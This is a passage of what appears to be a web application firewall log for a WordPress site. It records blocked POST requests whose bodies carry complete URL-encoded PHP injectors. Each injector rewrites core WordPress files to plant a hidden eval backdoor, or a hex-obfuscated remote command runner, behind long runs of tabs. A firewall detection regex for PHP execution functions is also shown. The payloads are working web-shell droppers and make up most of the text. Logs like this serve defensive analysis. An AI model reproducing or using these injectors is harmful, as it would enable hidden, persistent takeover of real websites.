0=71\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\n\nPd=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/BLAKE2b.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TamKVI%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:39:24","148.113.9.51","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Qg:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/BLAKE2b.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TamKVI%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHJpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:2062\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\naccept-encoding:gzip,deflate\n\nQg=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/BLAKE2b.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TamKVI%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:39:43","103.136.211.220","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fz:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/BLAKE2b.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TamKVI%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\ncontent-length:2062\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMabvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\n\nfz=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/BLAKE2b.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TamKVI%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:39:57","54.36.177.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ce:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-tax-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524initialized5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524initialized3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524initialized6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65%255Cx74_%255Cx63ontents%2522%253B%2520%2524auth_exception_handler%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524initialized2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6C%255Cx6C_e%255Cx78ec%2522%253B%2520%2524initialized1%2520%253D%2520%2522sy%255Cx73%255Cx74e%255Cx6D%2522%253B%2520%2524initialized7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524initialized4%2520%253D%2520%2522%255Cx70a%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65co%255Cx72%255Cx64%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2520%2528%2520%2524descriptor%2520%252C%2520%2524elem%2520%2529%2520%257B%2520%2524binding%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524t%253D0%253B%2520%2524t%253Cstrlen%2528%2524descriptor%2529%253B%2520%2524t%252B%252B%2529%257B%2520%2524binding.%253Dchr%2528ord%2528%2524descriptor%255B%2524t%255D%2529%255E%2524elem%2529%253B%2520%257D%2520return%2520%2524binding%253B%2520%257D%2520%2524record%2520%253D%2520%2524auth_exception_handler%2528%2524_POST%255B%2522r%255Cx65co%255Cx72%255Cx64%2522%255D%2529%253B%2520%2524record%2520%253D%2520reverse_lookup%2528%2524record%252C%252038%2529%253B%2520if%2520%2528function_exists%2528%2524initialized1%2529%2529%2520%257B%2520%2524initialized1%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized2%2529%2529%2520%257B%2520print%2520%2524initialized2%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized3%2529%2529%2520%257B%2520%2524initialized3%2528%2524record%252C%2520%2524entity_descriptor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entity_descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized4%2529%2529%2520%257B%2520%2524initialized4%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized5%2529%2520%2526%2526%2520function_exists%2528%2524initialized6%2529%2520%2526%2526%2520function_exists%2528%2524initialized7%2529%2529%2520%257B%2520%2524elem_binding%2520%253D%2520%2524initialized5%2528%2524record%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524elem_binding%2529%2520%257B%2520%2524data_chunk_ptr%2520%253D%2520%2524initialized6%2528%2524elem_binding%2529%253B%2520%2524initialized7%2528%2524elem_binding%2529%253B%2520print%2520%2524data_chunk_ptr%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:5377\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-site:none\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD2HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\n\nCe=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-tax-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524initialized5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524initialized3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524initialized6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65%255Cx74_%255Cx63ontents%2522%253B%2520%2524auth_exception_handler%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524initialized2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6C%255Cx6C_e%255Cx78ec%2522%253B%2520%2524initialized1%2520%253D%2520%2522sy%255Cx73%255Cx74e%255Cx6D%2522%253B%2520%2524initialized7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524initialized4%2520%253D%2520%2522%255Cx70a%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65co%255Cx72%255Cx64%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2520%2528%2520%2524descriptor%2520%252C%2520%2524elem%2520%2529%2520%257B%2520%2524binding%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524t%253D0%253B%2520%2524t%253Cstrlen%2528%2524descriptor%2529%253B%2520%2524t%252B%252B%2529%257B%2520%2524binding.%253Dchr%2528ord%2528%2524descriptor%255B%2524t%255D%2529%255E%2524elem%2529%253B%2520%257D%2520return%2520%2524binding%253B%2520%257D%2520%2524record%2520%253D%2520%2524auth_exception_handler%2528%2524_POST%255B%2522r%255Cx65co%255Cx72%255Cx64%2522%255D%2529%253B%2520%2524record%2520%253D%2520reverse_lookup%2528%2524record%252C%252038%2529%253B%2520if%2520%2528function_exists%2528%2524initialized1%2529%2529%2520%257B%2520%2524initialized1%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized2%2529%2529%2520%257B%2520print%2520%2524initialized2%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized3%2529%2529%2520%257B%2520%2524initialized3%2528%2524record%252C%2520%2524entity_descriptor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entity_descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized4%2529%2529%2520%257B%2520%2524initialized4%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized5%2529%2520%2526%2526%2520function_exists%2528%2524initialized6%2529%2520%2526%2526%2520function_exists%2528%2524initialized7%2529%2529%2520%257B%2520%2524elem_binding%2520%253D%2520%2524initialized5%2528%2524record%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524elem_binding%2529%2520%257B%2520%2524data_chunk_ptr%2520%253D%2520%2524initialized6%2528%2524elem_binding%2529%253B%2520%2524initialized7%2528%2524elem_binding%2529%253B%2520print%2520%2524data_chunk_ptr%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:40:03","107.155.87.193","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> JA:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-tax-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524initialized5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524initialized3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524initialized6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65%255Cx74_%255Cx63ontents%2522%253B%2520%2524auth_exception_handler%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524initialized2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6C%255Cx6C_e%255Cx78ec%2522%253B%2520%2524initialized1%2520%253D%2520%2522sy%255Cx73%255Cx74e%255Cx6D%2522%253B%2520%2524initialized7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524initialized4%2520%253D%2520%2522%255Cx70a%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65co%255Cx72%255Cx64%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2520%2528%2520%2524descriptor%2520%252C%2520%2524elem%2520%2529%2520%257B%2520%2524binding%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524t%253D0%253B%2520%2524t%253Cstrlen%2528%2524descriptor%2529%253B%2520%2524t%252B%252B%2529%257B%2520%2524binding.%253Dchr%2528ord%2528%2524descriptor%255B%2524t%255D%2529%255E%2524elem%2529%253B%2520%257D%2520return%2520%2524binding%253B%2520%257D%2520%2524record%2520%253D%2520%2524auth_exception_handler%2528%2524_POST%255B%2522r%255Cx65co%255Cx72%255Cx64%2522%255D%2529%253B%2520%2524record%2520%253D%2520reverse_lookup%2528%2524record%252C%252038%2529%253B%2520if%2520%2528function_exists%2528%2524initialized1%2529%2529%2520%257B%2520%2524initialized1%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized2%2529%2529%2520%257B%2520print%2520%2524initialized2%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized3%2529%2529%2520%257B%2520%2524initialized3%2528%2524record%252C%2520%2524entity_descriptor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entity_descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized4%2529%2529%2520%257B%2520%2524initialized4%2528%2524record%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized5%2529%2520%2526%2526%2520function_exists%2528%2524initialized6%2529%2520%2526%2526%2520function_exists%2528%2524initialized7%2529%2529%2520%257B%2520%2524elem_binding%2520%253D%2520%2524initialized5%2528%2524record%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524elem_binding%2529%2520%257B%2520%2524data_chunk_ptr%2520%253D%2520%2524initialized6%2528%2524elem_binding%2529%253B%2520%2524initialized7%2528%2524elem_binding%2529%253B%2520print%2520%2524data_chunk_ptr%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ 